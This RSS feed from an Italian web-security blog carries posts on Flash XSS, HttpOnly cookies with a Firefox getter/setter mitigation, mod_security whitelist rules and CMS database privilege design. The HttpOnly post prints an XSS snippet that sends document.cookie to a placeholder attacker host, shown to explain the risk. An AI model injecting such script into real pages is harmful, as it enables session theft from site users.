<?xml version="1.0" encoding="ISO-8859-1"?><rss version="0.91">
<channel>
<title>Security Thoughts</title>
<link>http://www.wisec.it/sectou.php</link>
<description>Security Thoughts</description>
<language>en</language>
<item>
<title>Owasp Conference e Flash Application Testing.</title>
<description>Il 16 e 17 Maggio c'&amp;egrave; stata a Milano la &lt;a href="http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007"&gt;App Sec 2007 Owasp Conference&lt;/a&gt;.&lt;br /&gt;
Li' ho presentato una conferenza dal titolo: &lt;br /&gt;
&lt;b&gt;Flash Application Testing: A New Attack Vector for XSS and Cross Site Flashing.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Descrive come in realt&amp;agrave; le applicazioni scritte in Flash possono non essere cos&amp;igrave; sicure e, come in ogni tecnologia, anche ActionScript ha i suoi cattivi pattern di sviluppo che possono portare una applicazione Flash ad essere attaccata e abusata lato client. Le vulnerabilit&amp;agrave; descritte riguardano un nuovo modo di approcciare al XSS e un nuovo vettore di attacco chiamato &lt;b&gt;Cross Site Flashing&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="/docs.php"&gt;Abstract&lt;/a&gt;&lt;br /&gt;
Scarica le slides in inglese &lt;a href="/docs.php?id=5"&gt;Pdf&lt;/a&gt; o &lt;a href="/docs.php?id=6"&gt;Swf&lt;/a&gt; :)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Nota&lt;/b&gt;: Dal momento che le slides possono non essere del tutto esplicative,  cercher&amp;ograve; di pubblicare a cadenze periodiche le problematiche pi&amp;ugrave; interessanti o richieste.&lt;br /&gt;
&lt;br /&gt;
Insomma, il meglio deve ancora arrivare..&lt;br /&gt;
Stay Tuned.&lt;br /&gt;
</description>
<link>http://www.wisec.it/sectou.php?id=464dd35c8c5ad</link>
<pubDate>Fri, 18 May 2007 17:19:00 GMT</pubDate>
</item>
<item>
<title>HttpOnly e Firefox</title>
<description>Le vulnerabilit&amp;agrave; Xss sono spesso usate dagli attaccanti per  appropriarsi dei cookies.&lt;br /&gt;
Una volta appropriatisi dei cookies ci sono varie possibilit&amp;agrave; di attacco come il &lt;a href="http://en.wikipedia.org/wiki/Session_hijacking"&gt; Session Hijacking &lt;/a&gt;.&lt;br /&gt;
Un esempio classico per collezionare i cookies tramite XSS, &amp;egrave; il seguente:&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
var img=new Image();&lt;br /&gt;
img.src=&quot;http://attaccante/cookiecollect.php?c=&quot;+document.cookie;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
Queste due linee javascript, non fanno altro che forzare il browser che le esegue, a creare una immagine e a richiedere il contenuto dell'immagine al sito specificato.&lt;br /&gt;
Se il sito &amp;egrave; controllato dall'attaccante, questi otterr&amp;agrave; il cookie della vittima senza che la vittima se ne accorga.&lt;br /&gt;
Per capire quanto sia pericoloso, basta pensare alle sessioni e a come queste vengano usate per mantenere durante la navigazione su un sito eventuali credenziali di utente loggato o peggio di amministratore.&lt;br /&gt;
&lt;br /&gt;
Microsoft gi&amp;agrave; da un p&amp;ograve; di tempo ha implementato, a partire da Internet Explorer 6 Service Pack 1, un modo per mitigare &lt;br /&gt;
tale problema.&lt;br /&gt;
La keyword &lt;a href="http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/httponly_cookies.asp"&gt; HttpOnly&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Come funziona:&lt;br /&gt;
nell'header il server manda il cookie con l'attributo HttpOnly&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Set-Cookie: Session:12345; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Explorer lo vede e blocca l'accesso al cookie da javascript.&lt;br /&gt;
Cio&amp;egrave; non &amp;egrave; pi&amp;ugrave; possibile ottenere tale valore usando document.cookie.&lt;br /&gt;
&lt;br /&gt;
Si conoscono tecniche per &lt;a href="http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00025.html"&gt;bypassare&lt;/a&gt; questa restrizione ma facendo le dovute modifiche di sicurezza anche sul&lt;br /&gt;
server tali attacchi risultano fortemente mitigati se non azzerati completamente.&lt;br /&gt;
Attenzione per&amp;ograve; che si parla di esclusivamente blocco degli attacchi ai cookies e non di blocco del XSS,&lt;br /&gt;
che &amp;egrave; di gran lunga peggiore.&lt;br /&gt;
&lt;br /&gt;
Ora veniamo a Firefox e fratelli.&lt;br /&gt;
Mozilla a quanto pare non ha nessuna intenzione di implementare l'HttpOnly sui cookies.&lt;br /&gt;
Grazie ad &lt;a href="http://www.ush.it"&gt;Ascii&lt;/a&gt; con il quale un giorno abbiamo fatto un p&amp;ograve; di considerazioni&lt;br /&gt;
sulle metodologie di blocco del XSS, ho approfondito la questione.&lt;br /&gt;
&lt;br /&gt;
Gli sviluppatori di Mozilla sono riusciti a creare un framework di funzioni javascript molto&lt;br /&gt;
elastico e semplice da usare. &lt;br /&gt;
In particolare hanno definito delle funzioni di prototipizzazione e definizione di oggetti e classi.&lt;br /&gt;
Sfruttiamo nello specifico le funzioni __defineGetter__ e __defineSetter__ e applichiamole ai cookies.&lt;br /&gt;
&lt;br /&gt;
Definizioni:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;__defineGetter__&lt;/b&gt; : permette di definire una funzione che viene eseguita ogni volta che richiediamo&lt;br /&gt;
il valore di un parametro o di una variabile.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;__defineSetter__ &lt;/b&gt;: permette di definire una funzione che viene eseguita ogni volta che associamo un valore a un parametro o a una variabile.&lt;br /&gt;
&lt;br /&gt;
Quindi: &lt;br /&gt;
&lt;br /&gt;
HTMLDocument.prototype.__defineGetter__(&quot;cookie&quot;,function (){return null;});&lt;br /&gt;
&lt;br /&gt;
bloccher&amp;agrave; ogni richiesta al cookie da parte di codice javascript.&lt;br /&gt;
&lt;br /&gt;
Ad es. in php:&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
session_start();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
HTMLDocument.prototype.__defineGetter__(&quot;cookie&quot;,function (){return &quot;sorry&quot;;});&lt;br /&gt;
alert(document.cookie);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
mostrer&amp;agrave; un alert con contenuto &quot;sorry&quot;, anzich&amp;egrave; il contenuto originale del cookie, e comunque internamente&lt;br /&gt;
Mozilla/Firefox, manterr&amp;agrave; il contenuto originale.&lt;br /&gt;
&lt;br /&gt;
E __defineSetter__?&lt;br /&gt;
Potrebbe essere usato per mitigare il &lt;a href="http://en.wikipedia.org/wiki/Session_fixation"&gt;Session Fixation&lt;/a&gt;&lt;br /&gt;
e altre tecniche di manipolazione dei cookie.&lt;br /&gt;
Cio&amp;egrave; se non vogliamo che il cookie venga manipolato dal layer javascript possiamo definire:&lt;br /&gt;
&lt;br /&gt;
HTMLDocument.prototype.__defineSetter__(&quot;cookie&quot;,function (new){});&lt;br /&gt;
&lt;br /&gt;
Ad es.&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
session_start();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
HTMLDocument.prototype.__defineSetter__(&quot;cookie&quot;,function (new){}); &lt;br /&gt;
document.cookie=&quot;hello&quot;&lt;br /&gt;
alert(document.cookie);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Questo approccio in realt&amp;agrave; &amp;egrave; comunque poco utile, dal momento che i cookie possono essere ridefiniti usando:&lt;br /&gt;
&amp;lt;meta http-equiv=&quot;Set-Cookie&quot; content=&quot;value=n;path=/&quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Se pero' filtriamo i tag meta sugli input la tecnica del setter blocca di fatto la manipolazione dei cookie via html.&lt;br /&gt;
&lt;br /&gt;
Ovviamente i setter e i getter potrebbero essere applicati per bloccare anche le funzioni tipo: XMLHttpRequest &amp; co.&lt;br /&gt;
ma purtoppo le funzioni __defineGetter__ e __defineSetter__ non sono implementate su tutti i browser (leggi MS IE).&lt;br /&gt;
&lt;br /&gt;
Sarebbe bello sfruttare tecniche simili anche su IExplorer, ma le mie ricerche non hanno portato a granch&amp;egrave;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ah...quanto agogno una implementazione standard delle funzioni js su tutti i browser...:(&lt;br /&gt;
</description>
<link>http://www.wisec.it/sectou.php?id=44bfca8e0ea8e</link>
<pubDate>Thu, 20 Jul 2006 20:23:00 GMT</pubDate>
</item>
<item>
<title>Application firewall e approccio blacklist - 2.a puntata</title>
<description>Finalmente, a distanza di un annetto ho il tempo per annotare&lt;br /&gt;
i passi avanti sulla generazione automatica di regole per &lt;b&gt;mod_security.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Non avendo avuto il tempo materiale per creare un webbot efficente, ho trovato un bel software GPL &lt;br /&gt;
del comune di Prato (complimenti allo sviluppatore!):&lt;br /&gt;
&lt;a href="http://htcheck.sourceforge.net/"&gt;ht://Check&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Oltre alle varie funzionalita' di questo software che vi potrete divertire a leggere,&lt;br /&gt;
ce n'e' una interessante, che puo' essere utilizzata anche per il penetration testing:&lt;br /&gt;
la memorizzazione su DB Mysql di tutti i tag e relativi attributi&lt;br /&gt;
trovati durante la navigazione automatica del sito.&lt;br /&gt;
&lt;br /&gt;
Non approfondiro' in questa al momento i possibili utilizzi per il penTest dei siti, ma andiamo a vedere &lt;br /&gt;
come si puo' sfruttare per generare delle regole per mod_security.&lt;br /&gt;
&lt;br /&gt;
Supponiamo che faccia girare htcheck su &lt;a href="http://www.example.com."&gt;www.example.com.&lt;/a&gt;&lt;br /&gt;
Preparazione:&lt;br /&gt;
- Nel file di configurazione htcheck.conf, impostiamo:&lt;br /&gt;
  &lt;b&gt;start_url:  &lt;a href="http://www.example.com/"&gt;http://www.example.com/&lt;/a&gt; &lt;/b&gt; (fatelo sul vostro eh! example non esiste ;)&lt;br /&gt;
- Lanciate poi htcheck:&lt;br /&gt;
&lt;b&gt;$ htcheck -vsi &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Attendete che sia finito il tutto...&lt;br /&gt;
&lt;br /&gt;
htCheck dara' una serie di resoconti....ma non ci interessano poi tanto...&lt;br /&gt;
&lt;br /&gt;
Quello che ci interessa e' il contenuto del DB.&lt;br /&gt;
&lt;i&gt;$ mysql -u utente -p htcheck&lt;br /&gt;
mysql&gt; show tables;&lt;/i&gt;&lt;br /&gt;
+-------------------+&lt;br /&gt;
| Tables_in_htcheck |&lt;br /&gt;
&lt;b&gt;+-------------------+&lt;br /&gt;
| Accessibility     |&lt;br /&gt;
| Cookies           |&lt;br /&gt;
| HtmlAttribute     |&lt;br /&gt;
| HtmlStatement     |&lt;br /&gt;
| Link              |&lt;br /&gt;
| Schedule          |&lt;br /&gt;
| Server            |&lt;br /&gt;
| Url               |&lt;br /&gt;
| htCheck           |&lt;br /&gt;
+-------------------+&lt;/b&gt;&lt;br /&gt;
...&lt;br /&gt;
In particolare la tabella &lt;b&gt;Url&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
proviamo a fare la seguente query:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;select DISTINCT SUBSTRING_INDEX(url,'?',1),SUBSTRING(url,INSTR(url,'?')+1)  from Url where url like'%?%'&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Ci ritorna la suddivisione in due colonne delle url con le query string...&lt;br /&gt;
&lt;br /&gt;
Bene. Queste informazioni ci servono per collezionare _tutte_ le query string sui riferimenti al nostro sito web..&lt;br /&gt;
&lt;br /&gt;
Ora quello che bisogna fare e' un programma che estrae tali informazioni e le &lt;br /&gt;
traduce in regole per mod_security.&lt;br /&gt;
&lt;br /&gt;
Ecco un programmino in perl che fa proprio questo &lt;a href="/rdr.php?fn=/Projects/Rule-o-matic.tgz"&gt;Automatic Rules Generation for Mod_security - Rule-o-matic&lt;/a&gt;.&lt;br /&gt;
lanciatelo e in output vedrete le regole da inserire in mod_security.&lt;br /&gt;
Tali regole, saranno  &lt;a href="http://en.wikipedia.org/wiki/Whitelist"&gt;whitelist&lt;/a&gt; e sono estratte dai riferimenti cioe' da &amp;lt;a href=&quot;host/path/file?query&quot;&amp;gt.&lt;br /&gt;
Un esempio:&lt;br /&gt;
&amp;lt;Location /docs.php&amp;gt;&lt;br /&gt;
        SecFilterInheritance On&lt;br /&gt;
        SecFilterSelective &quot;ARG_id&quot; &quot;!^\d$&quot;&lt;br /&gt;
&amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La suddetta regola significa:&lt;br /&gt;
Quando viene richiesta una pagina '/docs.php' con variabile 'id', il valore di 'id' puo' essere solo un numero.&lt;br /&gt;
&lt;br /&gt;
Lo so che la spiegazione non e' proprio esaustiva ma se spiego tutto che gusto c'e'???&lt;br /&gt;
</description>
<link>http://www.wisec.it/sectou.php?id=4378ea3b493f6</link>
<pubDate>Mon, 14 Nov 2005 20:23:00 GMT</pubDate>
</item>
<item>
<title>Content Management Systems e Sicurezza.</title>
<description>Guardando in giro cosa il mondo IT ci offre quando cerchiamo un CMS ( &lt;a href="http://en.wikipedia.org/wiki/Content_management_system"&gt; Content Management Systems&lt;/a&gt; )&lt;br /&gt;
troviamo tante soluzioni GPL o meno...Quello che spesso pero' forse non ci rendiamo conto di&lt;br /&gt;
avere davanti ai nostri occhi e' una infinita' di sistemi con un design bene o male comune...&lt;br /&gt;
&lt;br /&gt;
Un sistema CMS pare debba necessariamente funzionare nel seguente modo:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Server Web (Apache|Tomcat|IIS)&lt;br /&gt;
|&lt;br /&gt;
CMS  &lt;-- Accesso al CMS  tramite sistema multi utente.&lt;br /&gt;
|&lt;br /&gt;
Linguaggio di scripting (php|asp|perl)&lt;br /&gt;
|&lt;br /&gt;
DBMS &lt;-- Accesso al DBMS tramite UserDB PasswordDB&lt;br /&gt;
|&lt;br /&gt;
Database CMS&lt;br /&gt;
&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
Fig. 1&lt;br /&gt;
-------------------&lt;br /&gt;
&lt;br /&gt;
Cioe':&lt;br /&gt;
&lt;br /&gt;
Le funzionalita' di un CMS si basano sulla possibilita' (giusta) di permettere ad&lt;br /&gt;
un certo gruppo di utenti privilegiati e non di accedere, modificare e inserire &lt;br /&gt;
contenuti all'interno di un DBMS (Database Management System), sia esso Mysql, Postgres, MSSql&lt;br /&gt;
e chi piu' ne ha piu' ne metta.&lt;br /&gt;
&lt;br /&gt;
Questo tipo di struttura viene detta accesso multi utente.&lt;br /&gt;
&lt;br /&gt;
Tali contenuti vengono cosi' pubblicati dal CMS e visualizzati dal browser di turno.&lt;br /&gt;
&lt;br /&gt;
Per fare cio' il CMS e' strutturato in tabelle nel DB che permettono di organizzare il contenuto&lt;br /&gt;
per tipologie.&lt;br /&gt;
&lt;br /&gt;
In particolare gli utenti sono che hanno accesso ai contenuti avranno a disposizione uno username&lt;br /&gt;
e una password che permettera' loro di agire su una categoria di dati.&lt;br /&gt;
&lt;br /&gt;
Username, password e privilegi saranno immagazzinate in una tabella appartenente al DB del CMS.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Domanda&lt;/b&gt;: Dove e' l'errore?&lt;br /&gt;
&lt;br /&gt;
NB: Per non incorrere in confusione chiamero' Utenti CMS gli utenti che hanno accesso a CMS e alle &lt;br /&gt;
funzioni amministrative sul contenuto e Utenti DB gli utenti che fisicamente accedono al DMBS.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Risposta:&lt;/b&gt; L'accesso multi utente e' ad un solo livello!&lt;br /&gt;
&lt;br /&gt;
Se (e accade spesso) il CMS risulta avere una vulnerabilita' di tipo&lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;SQL injection&lt;/a&gt;, &lt;br /&gt;
il cracker che si approfittera' di tale&lt;br /&gt;
bug avra' a disposizione la tabella degli utenti CMS e quindi la possibilita' eventuale di &lt;br /&gt;
scoprire quali sono gli utenti piu' privilegiati e soprattutto le loro password...&lt;br /&gt;
Da questo momento in poi le possibilita' di movimento all'interno del DB aumentano in proporzione &lt;br /&gt;
a cio' che il CMS lascia fare sul DB e/o sul sistema una volta acquisita la password di amministratore&lt;br /&gt;
del CMS stesso.&lt;br /&gt;
&lt;br /&gt;
La soluzione e il design.&lt;br /&gt;
Molti (quasi tutti) DBMS permettono di creare viste, accesso (non) privilegiato a tabelle e a&lt;br /&gt;
DataBase in maniera selettiva, a seconda dell'utente che vi accede (Granularita degli accessi).&lt;br /&gt;
&lt;br /&gt;
Questo vuol dire che in un CMS che rispetti queste caratteristiche devono esistere almeno per due tipologie di utenti del DB.&lt;br /&gt;
Una &lt;i&gt;amministrativa&lt;/i&gt; e uno &lt;i&gt;generica.&lt;/i&gt;&lt;br /&gt;
Quella amministrativa dovra' essere quella che permettera' agli utenti CMS di accedere alle tabelle&lt;br /&gt;
di contenuto e di amministrazione (tabella utenti CMS) in inserimento, selezione e modifica.&lt;br /&gt;
&lt;br /&gt;
Quella generica servira' a tutti coloro i quali si collegano col loro browser al CMS per visionare ( privilegi di SELECT) i contenuti del sito.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Quindi il design di un CMS secondo il sottoscritto dovrebbe essere il seguente:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Server Web (Apache|Tomcat|IIS)&lt;br /&gt;
|&lt;br /&gt;
CMS / Pagine per Visualizzazione   &lt;br /&gt;
|&lt;br /&gt;
Linguaggio di scripting (php|asp|perl)&lt;br /&gt;
|&lt;br /&gt;
DBMS &lt;-- Accesso al DBMS tramite UserDB PasswordDB &lt;br /&gt;
|         con Privilegi di Select sulle tabelle (viste|DB) dei contenuti&lt;br /&gt;
|&lt;br /&gt;
Database Contenuti&lt;br /&gt;
&lt;/i&gt;&lt;br /&gt;
-------------------&lt;br /&gt;
Fig. 2&lt;br /&gt;
-------------------&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;
Server Web (Apache|Tomcat|IIS)&lt;br /&gt;
|&lt;br /&gt;
CMS / Pagine per Amministrazione&lt;br /&gt;
|&lt;br /&gt;
Linguaggio di scripting (php|asp|perl)&lt;br /&gt;
|&lt;br /&gt;
DBMS &lt;-- Accesso al DBMS tramite User2DB Password2DB &lt;br /&gt;
|         con Privilegi di Modifica|Inserimento|Cancellazione&lt;br /&gt;
|                   sui DB (o tabelle) del CMS&lt;br /&gt;
|&lt;br /&gt;
Database CMS&lt;br /&gt;
&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
Fig. 3&lt;br /&gt;
------------------&lt;br /&gt;
&lt;br /&gt;
Cosa succede con un design di questo tipo?&lt;br /&gt;
&lt;br /&gt;
Una SQL Injection non avra' effetto sulla tabella degli utenti CMS perche' l'utente DB di visualizzazione non&lt;br /&gt;
avra' accesso (neanche in SELECT) alla tabella degli utenti CMS.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Domanda&lt;/b&gt;: E se c'e' una SQL Injection nell'intefaccia di amministrazione?&lt;br /&gt;
&lt;b&gt;Risposta&lt;/b&gt;: Vabbe'.....cambiate CMS.&lt;br /&gt;
</description>
<link>http://www.wisec.it/sectou.php?id=4226372b5ccad</link>
<pubDate>Wed, 02 Mar 2005 22:57:00 GMT</pubDate>
</item>
<item>
<title>Leggere un file e riversarlo in una variabile</title>
<description>Oggi googolavo un po' cercando esempi di programmazione sicura.&lt;br /&gt;
In particolare cercavo esempi di codice c sulla lettura di file in una variabile.&lt;br /&gt;
Non trovando granche', ho scritto il seguente codice.&lt;br /&gt;
Se ci sono errori non esitate a farmeli notare.&lt;br /&gt;
&lt;a href="/rdr.php?fn=saferead.c"&gt;saferead.c&lt;/a&gt;&lt;br /&gt;
</description>
<link>http://www.wisec.it/sectou.php?id=421cd4eb7ae43</link>
<pubDate>Wed, 23 Feb 2005 20:09:00 GMT</pubDate>
</item>
<item>
<title>Application Firewall e approccio Blacklist</title>
<description>Da un pò di tempo mi arrovello sull'approccio &quot;&lt;i&gt;deny all, allow goodmembers&lt;/i&gt;&quot; (&lt;a href="http://en.wikipedia.org/wiki/Whitelist"&gt;whitelist&lt;/a&gt;), contro l'approccio &quot;&lt;i&gt;allow all, deny badmembers&lt;/i&gt;&quot; (&lt;a href="http://en.wikipedia.org/wiki/Black_list"&gt;blacklist&lt;/a&gt;), applicati agli application firewall tipo &lt;a href="http://www.modsecurity.org/&quot; target=&quot;_blank&quot;"&gt;Mod_Security&lt;/a&gt; per &lt;a href="http://www.apache.org"&gt;Apache&lt;/a&gt;. &lt;br /&gt;
Nell'approccio blacklist, ci sono infatti  delle problematiche intrinseche, che consentono potenzialmente di &lt;a href="http://www.imperva.com/application_defense_center/white_papers/sql_injection_signatures_evasion.html"&gt;bypassare&lt;/a&gt; le regole di diniego, sarebbe meglio un approccio integrativo di tipo whitelist.&lt;br /&gt;
E se insieme alle regole standard di blacklisting si dessero anche delle regole di   whitelisting?&lt;br /&gt;
&lt;br /&gt;
In che senso? &lt;br /&gt;
Supponiamo di avere un webbot o spider che faccia l'analisi completa del nostro sito web, e che questo spider ci estragga indirizzi nei quali sono presenti delle variabili.&lt;br /&gt;
Nella maggior parte dei casi tali variabili hanno valori numerici o alfanumerici o alfabetici.&lt;br /&gt;
Se il nostro spider estraesse i &quot;tipi&quot; di tali variabili e generasse delle regole da inserire nelle regole del firewall web, otterremmo una whitelist, che insieme alle solite componenti anti XSS e anti SQL Injection, ci darebbe un firewall sicuramente pi&amp;ugrave; completo.&lt;br /&gt;
&lt;br /&gt;
Ebbene sto lavorando allo spiderino, che metter&amp;ograve; sul sito appena sar&amp;agrave; minimamente funzionante.&lt;br /&gt;
</description>
<link>http://www.wisec.it/sectou.php?id=41adb43e50942</link>
<pubDate>Wed, 01 Dec 2004 12:37:00 GMT</pubDate>
</item>
</channel>
</rss>
